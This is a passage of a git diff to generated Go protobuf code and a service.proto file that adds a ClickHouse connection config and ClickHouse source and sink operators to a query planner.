proto.RegisterType((*Configs_ClickHouseConfig)(nil), "px.carnot.planner.plannerpb.Configs.ClickHouseConfig") proto.RegisterType((*QueryRequest)(nil), "px.carnot.planner.plannerpb.QueryRequest") proto.RegisterType((*QueryResponse)(nil), "px.carnot.planner.plannerpb.QueryResponse") proto.RegisterType((*CompileMutationsRequest)(nil), "px.carnot.planner.plannerpb.CompileMutationsRequest") @@ -873,77 +965,83 @@ func init() { } var fileDescriptor_710b3465b5cdfdeb = []byte{ - // 1108 bytes of a gzipped FileDescriptorProto - 0x1f, 0x8b, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0xff, 0xec, 0x56, 0x51, 0x6f, 0x1b, 0xc5, - 0x13, 0xf7, 0xd9, 0x69, 0x63, 0x8f, 0x9d, 0xfe, 0xd3, 0x4d, 0xfe, 0xe0, 0xba, 0xe2, 0x12, 0x9d, - 0x0a, 0x0a, 0x01, 0xce, 0x90, 0x06, 0x82, 0x2a, 0x01, 0xc2, 0x4d, 0x20, 0x54, 0xa5, 0x84, 0x4b, - 0xda, 0x87, 0xaa, 0xe2, 0x74, 0xbe, 0x9b, 0xb8, 0x27, 0xce, 0x7b, 0xd7, 0xdd, 0xbd, 0xca, 0xe1, - 0x85, 0x16, 0x89, 0x77, 0x24, 0xbe, 0x02, 0x42, 0x20, 0x3e, 0x03, 0xef, 0x3c, 0xe6, 0xb1, 0x4f, - 0x11, 0x71, 0x24, 0xc4, 0x63, 0x3f, 0x02, 0xda, 0xdd, 0xbb, 0xc4, 0x49, 0xdc, 0xc4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 0xfb, 0x04, 0x56, 0xec, 0x43, 0xe0, 0xf6, 0xc7, 0xac, 0x73, 0x4f, 0xfa, - 0x3a, 0x15, 0x2f, 0x93, 0x38, 0xb1, 0x61, 0x2a, 0x4e, 0x45, 0x92, 0x0a, 0x57, 0x78, 0xed, 0x08, - 0xdd, 0x84, 0xe1, 0x66, 0xd8, 0xab, 0x97, 0x54, 0xe8, 0xcb, 0x7a, 0x6b, 0x43, 0xee, 0xac, 0xa9, - 0x8d, 0xc6, 0x22, 0x94, 0x73, 0x18, 0x42, 0x60, 0x6c, 0x20, 0x4f, 0x25, 0x93, 0x69, 0xb8, 0xa0, - 0xf2, 0xab, 0x17, 0x95, 0x52, 0x2f, 0xac, 0xdf, 0xc7, 0x60, 0xfc, 0x66, 0x4c, 0x37, 0xc3, 0x0e, - 0x27, 0x4f, 0x0d, 0x98, 0x8e, 0x05, 0x46, 0x2e, 0xd2, 0x20, 0x89, 0x43, 0x2a, 0x5c, 0x5f, 0xed, - 0x28, 0x98, 0xea, 0xc2, 0xd2, 0x89, 0x07, 0xca, 0x40, 0xec, 0x2f, 0x36, 0x30, 0x5a, 0xc9, 0xfc, - 0xb5, 0xae, 0xf5, 0x52, 0x7f, 0x67, 0x86, 0x1c, 0xd7, 0x3b, 0x44, 0x06, 0x3b, 0xac, 0x23, 0xf7, - 0x60, 0x22, 0x89, 0xd2, 0x4e, 0x48, 0xf3, 0xd8, 0x45, 0x15, 0xfb, 0x9d, 0x91, 0x62, 0xaf, 0x29, - 0xcf, 0x0c, 0xbd, 0x96, 0x0c, 0xac, 0x1a, 0x4f, 0x8b, 0x30, 0x24, 0x05, 0x72, 0x05, 0x4a, 0x29, - 0x8b, 0x34, 0x4f, 0xad, 0xf1, 0xfe, 0xce, 0x4c, 0xe9, 0xae, 0x73, 0xdb, 0x91, 0x3a, 0xf2, 0x15, - 0x8c, 0x3f, 0x44, 0x2f, 0x40, 0x96, 0x17, 0x74, 0xf9, 0x9c, 0xe7, 0xb7, 0x57, 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x9d, - 0x5f, 0xa0, 0x8d, 0x77, 0xcf, 0xe8, 0x95, 0x25, 0xf0, 0xbd, 0x01, 0xe4, 0x38, 0xef, 0xe4, 0xbd, - 0x13, 0xd1, 0x5e, 0xd8, 0x4e, 0x8d, 0xa5, 0x33, 0xfb, 0xe9, 0x3c, 0x5a, 0x1f, 0x6d, 0xef, 0x9a, - 0x85, 0x67, 0xbb, 0x66, 0xe1, 0xf9, 0xae, 0x69, 0x3c, 0xe9, 0x9b, 0xc6, 0x2f, 0x7d, 0xd3, 0xf8, - 0xa3, 0x6f, 0x1a, 0xdb, 0x7d, 0xd3, 0xf8, 0xb3, 0x6f, 0x1a, 0x7f, 0xf7, 0xcd, 0xc2, 0xf3, 0xbe, - 0x69, 0xfc, 0xb0, 0x67, 0x16, 0xb6, 0xf7, 0xcc, 0xc2, 0xb3, 0x3d, 0xb3, 0x70, 0xbf, 0xb2, 0x8f, - 0xdd, 0xbe, 0xa8, 0x7e, 0x9d, 0xaf, 0xff, 0x13, 0x00, 0x00, 0xff, 0xff, 0xa7, 0x05, 0x48, 0x4a, - 0x3a, 0x0c, 0x00, 0x00, + // 1205 bytes of a gzipped FileDescriptorProto + 0x1f, 0x8b, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0xff, 0xec, 0x57, 0x5b, 0x6f, 0x1b, 0xc5, + 0x17, 0xf7, 0xda, 0xb9, 0xd8, 0xc7, 0x4e, 0xff, 0xee, 0xb4, 0x7f, 0x70, 0xb7, 0x62, 0x5b, 0xad, + 0x0a, 0x0a, 0x01, 0xd6, 0x90, 0xa6, 0x04, 0x55, 0x02, 0x84, 0x93, 0x40, 0xa8, 0x4a, 0x09, 0x9b, + 0xb4, 0x0f, 0x55, 0xc5, 0x6a, 0xbd, 0x3b, 0x71, 0x56, 0x5d, 0xef, 0x6c, 0x67, 0x66, 0x8b, 0xc3, + 0x0b, 0x2d, 0x12, 0xef, 0x48, 0x7c, 0x05, 0x84, 0xb8, 0x7c, 0x11,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0xe3, 0xfb, 0x5d, 0xab, 0xb0, 0xb5, 0x6b, 0x15, 0x9e, 0xed, 0x5a, 0x85, 0xfb, 0x95, 0x3d, + 0xec, 0xf6, 0x84, 0xfc, 0x2f, 0x71, 0xfd, 0x9f, 0x00, 0x00, 0x00, 0xff, 0xff, 0x8b, 0xee, 0x54, + 0x71, 0x4b, 0x0d, 0x00, 0x00, } func (this *FuncToExecute) Equal(that interface{}) bool { @@ -1033,6 +1131,9 @@ func (this *Configs) Equal(that interface{}) bool { if !this.PluginConfig.Equal(that1.PluginConfig) { return false } + if !this.ClickhouseConfig.Equal(that1.ClickhouseConfig) { + return false + } return true } func (this *Configs_OTelEndpointConfig) Equal(that interface{}) bool { @@ -1100,6 +1201,45 @@ func (this *Configs_PluginConfig) Equal(that interface{}) bool { } return true } +func (this *Configs_ClickHouseConfig) Equal(that interface{}) bool { + if that == nil { + return this == nil + } + + that1, ok := that.(*Configs_ClickHouseConfig) + if !ok { + that2, ok := that.(Configs_ClickHouseConfig) + if ok { + that1 = &that2 + } else { + return false + } + } + if that1 == nil { + return this == nil + } else if this == nil { + return false + } + if this.Hostname != that1.Hostname { + return false + } + if this.Host != that1.Host { + return false + } + if this.Port != that1.Port { + return false + } + if this.Username != that1.Username { + return false + } + if this.Password != that1.Password { + return false + } + if this.Database != that1.Database { + return false + } + return true +} func (this *QueryRequest) Equal(that interface{}) bool { if that == nil { return this == nil @@ -1474,7 +1614,7 @@ func (this *Configs) GoString() string { if this == nil { return "nil" } - s := make([]string, 0, 6) + s := make([]string, 0, 7) s = append(s, "&plannerpb.Configs{") if this.OTelEndpointConfig != nil { s = append(s, "OTelEndpointConfig: "+fmt.Sprintf("%#v", this.OTelEndpointConfig)+",\n") @@ -1482,6 +1622,9 @@ func (this *Configs) GoString() string { if this.PluginConfig != nil { s = append(s, "PluginConfig: "+fmt.Sprintf("%#v", this.PluginConfig)+",\n") } + if this.ClickhouseConfig != nil { + s = append(s, "ClickhouseConfig: "+fmt.Sprintf("%#v", this.ClickhouseConfig)+",\n") + } s = append(s, "}") return strings.Join(s, "") } @@ -1521,6 +1664,21 @@ func (this *Configs_PluginConfig) GoString() string { s = append(s, "}") return strings.Join(s, "") } +func (this *Configs_ClickHouseConfig) GoString() string { + if this == nil { + return "nil" + } + s := make([]string, 0, 10) + s = append(s, "&plannerpb.Configs_ClickHouseConfig{") + s = append(s, "Hostname: "+fmt.Sprintf("%#v", this.Hostname)+",\n") + s = append(s, "Host: "+fmt.Sprintf("%#v", this.Host)+",\n") + s = append(s, "Port: "+fmt.Sprintf("%#v", this.Port)+",\n") + s = append(s, "Username: "+fmt.Sprintf("%#v", this.Username)+",\n") + s = append(s, "Password: "+fmt.Sprintf("%#v", this.Password)+",\n") + s = append(s, "Database: "+fmt.Sprintf("%#v", this.Database)+",\n") + s = append(s, "}") + return strings.Join(s, "") +} func (this *QueryRequest) GoString() string { if this == nil { return "nil" @@ -1942,6 +2100,18 @@ func (m *Configs) MarshalToSizedBuffer(dAtA []byte) (int, error) { _ = i var l int _ = l + if m.ClickhouseConfig != nil { + { + size, err := m.ClickhouseConfig.MarshalToSizedBuffer(dAtA[:i]) + if err != nil { + return 0, err + } + i -= size + i = encodeVarintService(dAtA, i, uint64(size)) + } + i-- + dAtA[i] = 0x1a + } if m.PluginConfig != nil { { size, err := m.PluginConfig.MarshalToSizedBuffer(dAtA[:i]) @@ -2066,6 +2236,69 @@ func (m *Configs_PluginConfig) MarshalToSizedBuffer(dAtA []byte) (int, error) { return len(dAtA) - i, nil } +func (m *Configs_ClickHouseConfig) Marshal() (dAtA []byte, err error) { + size := m.Size() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBuffer(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *Configs_ClickHouseConfig) MarshalTo(dAtA []byte) (int, error) { + size := m.Size() + return m.MarshalToSizedBuffer(dAtA[:size]) +} + +func (m *Configs_ClickHouseConfig) MarshalToSizedBuffer(dAtA []byte) (int, error) { + i := len(dAtA) + _ = i + var l int + _ = l + if len(m.Database) > 0 { + i -= len(m.Database) + copy(dAtA[i:], m.Database) + i = encodeVarintService(dAtA, i, uint64(len(m.Database))) + i-- + dAtA[i] = 0x32 + } + if len(m.Password) > 0 { + i -= len(m.Password) + copy(dAtA[i:], m.Password) + i = encodeVarintService(dAtA, i, uint64(len(m.Password))) + i-- + dAtA[i] = 0x2a + } + if len(m.Username) > 0 { + i -= len(m.Username) + copy(dAtA[i:], m.Username) + i = encodeVarintService(dAtA, i, uint64(len(m.Username))) + i-- + dAtA[i] = 0x22 + } + if m.Port != 0 { + i = encodeVarintService(dAtA, i, uint64(m.Port)) + i-- + dAtA[i] = 0x18 + } + if len(m.Host) > 0 { + i -= len(m.Host) + copy(dAtA[i:], m.Host) + i = encodeVarintService(dAtA, i, uint64(len(m.Host))) + i-- + dAtA[i] = 0x12 + } + if len(m.Hostname) > 0 { + i -= len(m.Hostname) + copy(dAtA[i:], m.Hostname) + i = encodeVarintService(dAtA, i, uint64(len(m.Hostname))) + i-- + dAtA[i] = 0xa + } + return len(dAtA) - i, nil +} + func (m *QueryRequest) Marshal() (dAtA []byte, err error) { size := m.Size() dAtA = make([]byte, size) @@ -2616,6 +2849,10 @@ func (m *Configs) Size() (n int) { l = m.PluginConfig.Size() n += 1 + l + sovService(uint64(l)) } + if m.ClickhouseConfig != nil { + l = m.ClickhouseConfig.Size() + n += 1 + l + sovService(uint64(l)) + } return n } @@ -2661,6 +2898,38 @@ func (m *Configs_PluginConfig) Size() (n int) { return n } +func (m *Configs_ClickHouseConfig) Size() (n int) { + if m == nil { + return 0 + } + var l int + _ = l + l = len(m.Hostname) + if l > 0 { + n += 1 + l + sovService(uint64(l)) + } + l = len(m.Host) + if l > 0 { + n += 1 + l + sovService(uint64(l)) + } + if m.Port != 0 { + n += 1 + sovService(uint64(m.Port)) + } + l = len(m.Username) + if l > 0 { + n += 1 + l + sovService(uint64(l)) + } + l = len(m.Password) + if l > 0 { + n += 1 + l + sovService(uint64(l)) + } + l = len(m.Database) + if l > 0 { + n += 1 + l + sovService(uint64(l)) + } + return n +} + func (m *QueryRequest) Size() (n int) { if m == nil { return 0 @@ -2908,6 +3177,7 @@ func (this *Configs) String() string { s := strings.Join([]string{`&Configs{`, `OTelEndpointConfig:` + strings.Replace(fmt.Sprintf("%v", this.OTelEndpointConfig), "Configs_OTelEndpointConfig", "Configs_OTelEndpointConfig", 1) + `,`, `PluginConfig:` + strings.Replace(fmt.Sprintf("%v", this.PluginConfig), "Configs_PluginConfig", "Configs_PluginConfig", 1) + `,`, + `ClickhouseConfig:` + strings.Replace(fmt.Sprintf("%v", this.ClickhouseConfig), "Configs_ClickHouseConfig", "Configs_ClickHouseConfig", 1) + `,`, `}`, }, "") return s @@ -2946,6 +3216,21 @@ func (this *Configs_PluginConfig) String() string { }, "") return s } +func (this *Configs_ClickHouseConfig) String() string { + if this == nil { + return "nil" + } + s := strings.Join([]string{`&Configs_ClickHouseConfig{`, + `Hostname:` + fmt.Sprintf("%v", this.Hostname) + `,`, + `Host:` + fmt.Sprintf("%v", this.Host) + `,`, + `Port:` + fmt.Sprintf("%v", this.Port) + `,`, + `Username:` + fmt.Sprintf("%v", this.Username) + `,`, + `Password:` + fmt.Sprintf("%v", this.Password) + `,`, + `Database:` + fmt.Sprintf("%v", this.Database) + `,`, + `}`, + }, "") + return s +} func (this *QueryRequest) String() string { if this == nil { return "nil" @@ -3464,6 +3749,42 @@ func (m *Configs) Unmarshal(dAtA []byte) error { return err } iNdEx = postIndex + case 3: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field ClickhouseConfig", wireType) + } + var msglen int + for shift := uint(0); ; shift += 7 { + if shift >= 64 { + return ErrIntOverflowService + } + if iNdEx >= l { + return io.ErrUnexpectedEOF + } + b := dAtA[iNdEx] + iNdEx++ + msglen |= int(b&0x7F) << shift + if b < 0x80 { + break + } + } + if msglen < 0 { + return ErrInvalidLengthService + } + postIndex := iNdEx + msglen + if postIndex < 0 { + return ErrInvalidLengthService + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + if m.ClickhouseConfig == nil { + m.ClickhouseConfig = &Configs_ClickHouseConfig{} + } + if err := m.ClickhouseConfig.Unmarshal(dAtA[iNdEx:postIndex]); err != nil { + return err + } + iNdEx = postIndex default: iNdEx = preIndex skippy, err := skipService(dAtA[iNdEx:]) @@ -3821,6 +4142,235 @@ func (m *Configs_PluginConfig) Unmarshal(dAtA []byte) error { } return nil } +func (m *Configs_ClickHouseConfig) Unmarshal(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + for shift := uint(0); ; shift += 7 { + if shift >= 64 { + return ErrIntOverflowService + } + if iNdEx >= l { + return io.ErrUnexpectedEOF + } + b := dAtA[iNdEx] + iNdEx++ + wire |= uint64(b&0x7F) << shift + if b < 0x80 { + break + } + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: ClickHouseConfig: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: ClickHouseConfig: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Hostname", wireType) + } + var stringLen uint64 + for shift := uint(0); ; shift += 7 { + if shift >= 64 { + return ErrIntOverflowService + } + if iNdEx >= l { + return io.ErrUnexpectedEOF + } + b := dAtA[iNdEx] + iNdEx++ + stringLen |= uint64(b&0x7F) << shift + if b < 0x80 { + break + } + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return ErrInvalidLengthService + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return ErrInvalidLengthService + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Hostname = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 2: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Host", wireType) + } + var stringLen uint64 + for shift := uint(0); ; shift += 7 { + if shift >= 64 { + return ErrIntOverflowService + } + if iNdEx >= l { + return io.ErrUnexpectedEOF + } + b := dAtA[iNdEx] + iNdEx++ + stringLen |= uint64(b&0x7F) << shift + if b < 0x80 { + break + } + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return ErrInvalidLengthService + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return ErrInvalidLengthService + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Host = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 3: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field Port", wireType) + } + m.Port = 0 + for shift := uint(0); ; shift += 7 { + if shift >= 64 { + return ErrIntOverflowService + } + if iNdEx >= l { + return io.ErrUnexpectedEOF + } + b := dAtA[iNdEx] + iNdEx++ + m.Port |= int32(b&0x7F) << shift + if b < 0x80 { + break + } + } + case 4: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Username", wireType) + } + var stringLen uint64 + for shift := uint(0); ; shift += 7 { + if shift >= 64 { + return ErrIntOverflowService + } + if iNdEx >= l { + return io.ErrUnexpectedEOF + } + b := dAtA[iNdEx] + iNdEx++ + stringLen |= uint64(b&0x7F) << shift + if b < 0x80 { + break + } + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return ErrInvalidLengthService + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return ErrInvalidLengthService + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Username = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 5: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Password", wireType) + } + var stringLen uint64 + for shift := uint(0); ; shift += 7 { + if shift >= 64 { + return ErrIntOverflowService + } + if iNdEx >= l { + return io.ErrUnexpectedEOF + } + b := dAtA[iNdEx] + iNdEx++ + stringLen |= uint64(b&0x7F) << shift + if b < 0x80 { + break + } + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return ErrInvalidLengthService + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return ErrInvalidLengthService + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Password = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 6: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Database", wireType) + } + var stringLen uint64 + for shift := uint(0); ; shift += 7 { + if shift >= 64 { + return ErrIntOverflowService + } + if iNdEx >= l { + return io.ErrUnexpectedEOF + } + b := dAtA[iNdEx] + iNdEx++ + stringLen |= uint64(b&0x7F) << shift + if b < 0x80 { + break + } + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return ErrInvalidLengthService + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return ErrInvalidLengthService + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Database = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + default: + iNdEx = preIndex + skippy, err := skipService(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return ErrInvalidLengthService + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} func (m *QueryRequest) Unmarshal(dAtA []byte) error { l := len(dAtA) iNdEx := 0 diff --git a/src/carnot/planner/plannerpb/service.proto b/src/carnot/planner/plannerpb/service.proto index a9b33d825f8..4c3fd9a99a8 100644 --- a/src/carnot/planner/plannerpb/service.proto +++ b/src/carnot/planner/plannerpb/service.proto @@ -75,6 +75,22 @@ message Configs { int64 end_time_ns = 2; } PluginConfig plugin_config = 2; + // ClickHouseConfig contains information about ClickHouse connection parameters. + message ClickHouseConfig { + // The hostname of the node executing the query. + string hostname = 1; + // The ClickHouse server host. + string host = 2; + // The ClickHouse server port. + int32 port = 3; + // The ClickHouse username. + string username = 4; + // The ClickHouse password. + string password = 5; + // The ClickHouse database name. + string database = 6; + } + ClickHouseConfig clickhouse_config = 3; } // QueryRequest is the body of the request made to the planner. diff --git a/src/carnot/planpb/plan.pb.go b/src/carnot/planpb/plan.pb.go index ce6671091c1..bb5a6584aea 100755 --- a/src/carnot/planpb/plan.pb.go +++ b/src/carnot/planpb/plan.pb.go @@ -34,20 +34,22 @@ const _ = proto.GoGoProtoPackageIsVersion3 // please upgrade the proto package type OperatorType int32 const ( - OPERATOR_TYPE_UNKNOWN OperatorType = 0 - MEMORY_SOURCE_OPERATOR OperatorType = 1000 - GRPC_SOURCE_OPERATOR OperatorType = 1100 - UDTF_SOURCE_OPERATOR OperatorType = 1200 - EMPTY_SOURCE_OPERATOR OperatorType = 1300 - MAP_OPERATOR OperatorType = 2000 - AGGREGATE_OPERATOR OperatorType = 2100 - FILTER_OPERATOR OperatorType = 2200 - LIMIT_OPERATOR OperatorType = 2300 - UNION_OPERATOR OperatorType = 2400 - JOIN_OPERATOR OperatorType = 2500 - MEMORY_SINK_OPERATOR OperatorType = 9000 - GRPC_SINK_OPERATOR OperatorType = 9100 - OTEL_EXPORT_SINK_OPERATOR OperatorType = 9200 + OPERATOR_TYPE_UNKNOWN OperatorType = 0 + MEMORY_SOURCE_OPERATOR OperatorType = 1000 + GRPC_SOURCE_OPERATOR OperatorType = 1100 + UDTF_SOURCE_OPERATOR OperatorType = 1200 + EMPTY_SOURCE_OPERATOR OperatorType = 1300 + CLICKHOUSE_SOURCE_OPERATOR OperatorType = 1400 + MAP_OPERATOR OperatorType = 2000 + AGGREGATE_OPERATOR OperatorType = 2100 + FILTER_OPERATOR OperatorType = 2200 + LIMIT_OPERATOR OperatorType = 2300 + UNION_OPERATOR OperatorType = 2400 + JOIN_OPERATOR OperatorType = 2500 + MEMORY_SINK_OPERATOR OperatorType = 9000 + GRPC_SINK_OPERATOR OperatorType = 9100 + OTEL_EXPORT_SINK_OPERATOR OperatorType = 9200 + CLICKHOUSE_EXPORT_SINK_OPERATOR OperatorType = 9300 ) var OperatorType_name = map[int32]string{ @@ -56,6 +58,7 @@ var OperatorType_name = map[int32]string{ 1100: "GRPC_SOURCE_OPERATOR", 1200: "UDTF_SOURCE_OPERATOR", 1300: "EMPTY_SOURCE_OPERATOR", + 1400: "CLICKHOUSE_SOURCE_OPERATOR", 2000: "MAP_OPERATOR", 2100: "AGGREGATE_OPERATOR", 2200: "FILTER_OPERATOR", @@ -65,23 +68,26 @@ var OperatorType_name = map[int32]string{ 9000: "MEMORY_SINK_OPERATOR", 9100: "GRPC_SINK_OPERATOR", 9200: "OTEL_EXPORT_SINK_OPERATOR", + 9300: "CLICKHOUSE_EXPORT_SINK_OPERATOR", } var OperatorType_value = map[string]int32{ - "OPERATOR_TYPE_UNKNOWN": 0, - "MEMORY_SOURCE_OPERATOR": 1000, - "GRPC_SOURCE_OPERATOR": 1100, - "UDTF_SOURCE_OPERATOR": 1200, - "EMPTY_SOURCE_OPERATOR": 1300, - "MAP_OPERATOR": 2000, - "AGGREGATE_OPERATOR": 2100, - "FILTER_OPERATOR": 2200, - "LIMIT_OPERATOR": 2300, - "UNION_OPERATOR": 2400, - "JOIN_OPERATOR": 2500, - "MEMORY_SINK_OPERATOR": 9000, - "GRPC_SINK_OPERATOR": 9100, - "OTEL_EXPORT_SINK_OPERATOR": 9200, + "OPERATOR_TYPE_UNKNOWN": 0, + "MEMORY_SOURCE_OPERATOR": 1000, + "GRPC_SOURCE_OPERATOR": 1100, + "UDTF_SOURCE_OPERATOR": 1200, + "EMPTY_SOURCE_OPERATOR": 1300, + "CLICKHOUSE_SOURCE_OPERATOR": 1400, + "MAP_OPERATOR": 2000, + "AGGREGATE_OPERATOR": 2100, + "FILTER_OPERATOR": 2200, + "LIMIT_OPERATOR": 2300, + "UNION_OPERATOR": 2400, + "JOIN_OPERATOR": 2500, + "MEMORY_SINK_OPERATOR": 9000, + "GRPC_SINK_OPERATOR": 9100, + "OTEL_EXPORT_SINK_OPERATOR": 9200, + "CLICKHOUSE_EXPORT_SINK_OPERATOR": 9300, } func (OperatorType) EnumDescriptor() ([]byte, []int) { @@ -526,6 +532,8 @@ type Operator struct { // *Operator_UdtfSourceOp // *Operator_EmptySourceOp // *Operator_OTelSinkOp + // *Operator_ClickhouseSourceOp + // *Operator_ClickhouseSinkOp Op isOperator_Op `protobuf_oneof:"op"` } @@ -607,20 +615,28 @@ type Operator_EmptySourceOp struct { type Operator_OTelSinkOp struct { OTelSinkOp *OTelExportSinkOperator `protobuf:"bytes,14,opt,name=otel_sink_op,json=otelSinkOp,proto3,oneof" json:"otel_sink_op,omitempty"` } - -func (*Operator_MemSourceOp) isOperator_Op() {} -func (*Operator_MapOp) isOperator_Op() {} -func (*Operator_AggOp) isOperator_Op() {} -func (*Operator_MemSinkOp) isOperator_Op() {} -func (*Operator_FilterOp) isOperator_Op() {} -func (*Operator_LimitOp) isOperator_Op() {} -func (*Operator_UnionOp) isOperator_Op() {} -func (*Operator_GRPCSourceOp) isOperator_Op() {} -func (*Operator_GRPCSinkOp) isOperator_Op() {} -func (*Operator_JoinOp) isOperator_Op() {} -func (*Operator_UdtfSourceOp) isOperator_Op() {} -func (*Operator_EmptySourceOp) isOperator_Op() {} -func (*Operator_OTelSinkOp) isOperator_Op() {} +type Operator_ClickhouseSourceOp struct { + ClickhouseSourceOp *ClickHouseSourceOperator `protobuf:"bytes,15,opt,name=clickhouse_source_op,json=clickhouseSourceOp,proto3,oneof" json:"clickhouse_source_op,omitempty"` +} +type Operator_ClickhouseSinkOp struct { + ClickhouseSinkOp *ClickHouseExportSinkOperator `protobuf:"bytes,16,opt,name=clickhouse_sink_op,json=clickhouseSinkOp,proto3,oneof" json:"clickhouse_sink_op,omitempty"` +} + +func (*Operator_MemSourceOp) isOperator_Op() {} +func (*Operator_MapOp) isOperator_Op() {} +func (*Operator_AggOp) isOperator_Op() {} +func (*Operator_MemSinkOp) isOperator_Op() {} +func (*Operator_FilterOp) isOperator_Op() {} +func (*Operator_LimitOp) isOperator_Op() {} +func (*Operator_UnionOp) isOperator_Op() {} +func (*Operator_GRPCSourceOp) isOperator_Op() {} +func (*Operator_GRPCSinkOp) isOperator_Op() {} +func (*Operator_JoinOp) isOperator_Op() {} +func (*Operator_UdtfSourceOp) isOperator_Op() {} +func (*Operator_EmptySourceOp) isOperator_Op() {} +func (*Operator_OTelSinkOp) isOperator_Op() {} +func (*Operator_ClickhouseSourceOp) isOperator_Op() {} +func (*Operator_ClickhouseSinkOp) isOperator_Op() {} func (m *Operator) GetOp() isOperator_Op { if m != nil { @@ -727,6 +743,20 @@ func (m *Operator) GetOTelSinkOp() *OTelExportSinkOperator { return nil } +func (m *Operator) GetClickhouseSourceOp() *ClickHouseSourceOperator { + if x, ok := m.GetOp().(*Operator_ClickhouseSourceOp); ok { + return x.ClickhouseSourceOp + } + return nil +} + +func (m *Operator) GetClickhouseSinkOp() *ClickHouseExportSinkOperator { + if x, ok := m.GetOp().(*Operator_ClickhouseSinkOp); ok { + return x.ClickhouseSinkOp + } + return nil +} + // XXX_OneofWrappers is for the internal use of the proto package. func (*Operator) XXX_OneofWrappers() []interface{} { return []interface{}{ @@ -743,6 +773,8 @@ func (*Operator) XXX_OneofWrappers() []interface{} { (*Operator_UdtfSourceOp)(nil), (*Operator_EmptySourceOp)(nil), (*Operator_OTelSinkOp)(nil), + (*Operator_ClickhouseSourceOp)(nil), + (*Operator_ClickhouseSinkOp)(nil), } } @@ -1810,6 +1842,153 @@ func (m *EmptySourceOperator) GetColumnTypes() []typespb.DataType { return nil } +type ClickHouseSourceOperator struct { + Host string `protobuf:"bytes,1,opt,name=host,proto3" json:"host,omitempty"` + Port int32 `protobuf:"varint,2,opt,name=port,proto3" json:"port,omitempty"` + Username string `protobuf:"bytes,3,opt,name=username,proto3" json:"username,omitempty"` + Password string `protobuf:"bytes,4,opt,name=password,proto3" json:"password,omitempty"` + Database string `protobuf:"bytes,5,opt,name=database,proto3" json:"database,omitempty"` + Query string `protobuf:"bytes,6,opt,name=query,proto3" json:"query,omitempty"` + ColumnNames []string `protobuf:"bytes,7,rep,name=column_names,json=columnNames,proto3" json:"column_names,omitempty"` + ColumnTypes []typespb.DataType `protobuf:"varint,8,rep,packed,name=column_types,json=columnTypes,proto3,enum=px.types.DataType" json:"column_types,omitempty"` + BatchSize int32 `protobuf:"varint,9,opt,name=batch_size,json=batchSize,proto3" json:"batch_size,omitempty"` + Streaming bool `protobuf:"varint,10,opt,name=streaming,proto3" json:"streaming,omitempty"` + TimestampColumn string `protobuf:"bytes,11,opt,name=timestamp_column,json=timestampColumn,proto3" json:"timestamp_column,omitempty"` + PartitionColumn string `protobuf:"bytes,12,opt,name=partition_column,json=partitionColumn,proto3" json:"partition_column,omitempty"` + StartTime int64 `protobuf:"varint,13,opt,name=start_time,json=startTime,proto3" json:"start_time,omitempty"` + EndTime int64 `protobuf:"varint,14,opt,name=end_time,json=endTime,proto3" json:"end_time,omitempty"` +} + +func (m *ClickHouseSourceOperator) Reset() { *m = ClickHouseSourceOperator{} } +func (*ClickHouseSourceOperator) ProtoMessage() {} +func (*ClickHouseSourceOperator) Descriptor() ([]byte, []int) { + return fileDescriptor_e5dcfc8666ec3f33, []int{18} +} +func (m *ClickHouseSourceOperator) XXX_Unmarshal(b []byte) error { + return m.Unmarshal(b) +} +func (m *ClickHouseSourceOperator) XXX_Marshal(b []byte, deterministic bool) ([]byte, error) { + if deterministic { + return xxx_messageInfo_ClickHouseSourceOperator.Marshal(b, m, deterministic) + } else { + b = b[:cap(b)] + n, err := m.MarshalToSizedBuffer(b) + if err != nil { + return nil, err + } + return b[:n], nil + } +} +func (m *ClickHouseSourceOperator) XXX_Merge(src proto.Message) { + xxx_messageInfo_ClickHouseSourceOperator.Merge(m, src) +} +func (m *ClickHouseSourceOperator) XXX_Size() int { + return m.Size() +} +func (m *ClickHouseSourceOperator) XXX_DiscardUnknown() { + xxx_messageInfo_ClickHouseSourceOperator.DiscardUnknown(m) +} + +var 